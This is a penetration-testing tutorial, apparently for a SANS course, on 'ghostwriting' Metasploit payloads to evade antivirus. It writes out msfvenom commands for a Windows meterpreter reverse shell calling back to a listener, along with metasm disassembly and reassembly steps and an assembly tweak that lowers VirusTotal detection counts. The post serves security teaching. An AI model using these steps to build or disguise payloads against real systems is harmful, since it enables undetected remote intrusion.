Ghostwriting for Antivirus Evasion in 2018
One of the techniques we cover in the antivirus evasion section of the SANS SEC 504 course is ghost writing. The topic was covered brilliantly by Royce Davis on his blog back in 2012 (https://www.pentestgeek.com/penetration-testing/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm).
The workflow he laid out still works, but some of the specific commands needed have changed slightly in Kali Linux. One of my students asked if I knew of a resource with the updated commands and I didn’t, so I decided to write it.
The technique aims to take advantage of the fact that sometimes antivirus programs may flag an executable as malicious not because of the program’s functionality, but because the program contains certain signatures that indicate it was created with a “malicious” program such as Metasploit. If this is the case with our payload, then maybe we can make minor modifications which don’t affect the payload’s functionality, but which “break up” or otherwise modify the signatures that are getting it flagged as malware.
Note: For the commands and screenshots shown below I used Kali Linux 2017.2
Step 1: Payload creation
Msfpayload has been deprecated in favor of msfvenom so that’s what we’ll use to generate our payloads. As a baseline, I’ll use msfvenom to make an .exe file and see how it does with virus total.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.143 LPORT=443 -f exe > straight.exe
The executable produced worked like a champ:
And as expected, when we submit it to virustotal.com, 51/67 flag it as malicious.
With the baseline out of the way, we can get down to business. First we use msfvenom to generate a raw binary instead of an .exe file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.143 LPORT=443 -f raw > raw_binary
Step 2: Disassemble binary
We then make disassemble.rb executable by running:
chmod +x /usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/metasm-1.0.3/samples/disassemble.rb
We use disassemble.rb to convert our raw binary file to assembly.
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/metasm-1.0.3/samples/disassemble.rb raw_binary > asm_code.asm
Step 3a: Modify our assembly
Now that we have an assembly file, we need to make a slight modification so that we can assemble it into a working .exe file later. We can use a text editor like leafpad to add the following two lines to the top of the file.
.section '.text' rwx.entrypoint
At this point that’s the only modification I’m going to do to the assembly file to demonstrate a point.
Step 4: Build the assembly file into an .exe file
We run the following command to make peencode.rb executable.
chmod +x /usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/metasm-1.0.3/samples/peencode.rb
We then use peencode.rb to build our assembly file into an .exe windows executable file.
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/metasm-1.0.3/samples/peencode.rb asm_code.asm -o payload.exe
I copied the file to a windows system to test if the payload worked (it did) and then submitted it to virustotal.com.
As you can see, while a majority of the antivirus software that virustotal uses still catches this payload, we have gone from 51 to 38 just by assembling the .exe file ourselves instead of using msfvenom to generate it. Even that slight change from what is normally done resulted in over 25% less detections. And we haven’t even started ghostwriting yet!
Step 3b: Ghostwriting
Now that we have that process down, let’s go back to step three and tweak our assembly a bit.
Our goal is to make a change that doesn’t affect the functionality of the program in any way, but still modifies the syntax or structure. One way to accomplish this is to look for any place in the code where a register is XOR’ed with itself.
When a registered is XOR’ed with itself, it’s value becomes zero. If we know that a register is about to be zeroed out, does it matter what it’s value is right before that? Nope!
In the screenshot below, we identify the edi register being XOR’ed with itself. Right before that we insert the following two commands
push edipop edi
These commands push the value of the EDI register onto the stack, and then pop it off the stack right back into the edi register. Zero change to the functionality, but now a slightly different signature.
With that change in place, we can build the .exe file from the modified assembly, confirm it works (it does) and upload it to virustotal.
At the risk of sounding like a web banner ad, we just got a 10% reduction in detections from this one small change!! 🙂
The better we understand assembly and the more time we’re willing to spend, we can improve these detection figures quite a bit. In his blog post Royce cites Vivek Ramachandran as the recommended place to learn assembly and I couldn’t agree more. Vivek has a free series of videos available at http://www.securitytube.net/video/208 and some low cost series at http://www.pentesteracademy.com/course?id=3.
If you want to start working on evading antivirus, this is a great place to start. This can also be a fun project to use for learning assembly.